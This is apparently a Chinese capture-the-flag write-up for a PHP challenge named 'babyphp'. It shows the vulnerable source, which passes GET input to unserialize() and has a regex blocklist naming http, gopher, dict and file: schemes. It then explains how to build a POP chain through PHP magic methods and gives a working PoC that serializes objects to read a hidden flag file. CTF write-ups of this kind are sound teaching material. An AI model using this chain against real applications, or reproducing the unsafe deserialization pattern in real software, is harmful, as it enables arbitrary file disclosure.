京津冀大学生竞赛:babyphp
京津冀大学生竞赛:babyphp
比赛的时候没做出来,回来以后一会就做出来了,难受。。。还是基本功不扎实,都不记得__invoke
怎么触发的了
放上源码
<?php
error_reporting(1);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'瑙f瀽寮€濮?'."<br>";
}
public function __toString()
{
$this->str['str']->source;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|fllllllaaaaaag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
$func = $this->params;
return $func();
}
}
if(isset($_GET['chal']))
{
$chal = unserialize($_GET['chal']);
}
else
{
$show = new Show('index.php');
$show->_show();
}
官方给的hint是
babyphp提示:php反序列化链构造、魔术方法__toString、__wakeup()、__invoke()、__get()
其实没什么用,很明显是反序列化。关键是pop链的构造思路。
我找pop链的思路一般是
- 1、找
__destruct()
、__toString()
这样容易触发反序列化的魔术方法,这是pop链的起点 - 2、找能利用来getflag的函数,例如
file_get_contents()
这种,这是pop链的终点 - 3、最后从终点慢慢一环一环往回推,推回起点就成功构造出pop链
本题中pop链的起点应该是Show::__toString()
,然后寻找可用的echo
,第一眼看到的就还是Show::__construct()
,还有一处Read::__invoke
中的echo
其实是最后getflag的地方。我们带着这个思路走下去,那么Read::__invoke
就是pop链的终点。
__invoke()
触发条件是
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
可以发现Test::__get()
中有
$func = $this->params;
return $func();
继续回推,__get()
的触发方法是
读取不可访问属性的值时,__get() 会被调用。
我们发现Show::__toString()
中有$this->str['str']->source;
,完美
最终poc如下
<?php
error_reporting(3);
class Read {
public $var;
}
class Show
{
public $source;
public $str;
}
class Test
{
public $params;
}
$c = new Read();
$c->var = 'fllllllaaaaaag';
$b = new Test();
$b->params = $c;
$d = new Show();
$d->str = array('str'=>$b);
$a = new Show();
$a->source = $d;
echo serialize($a);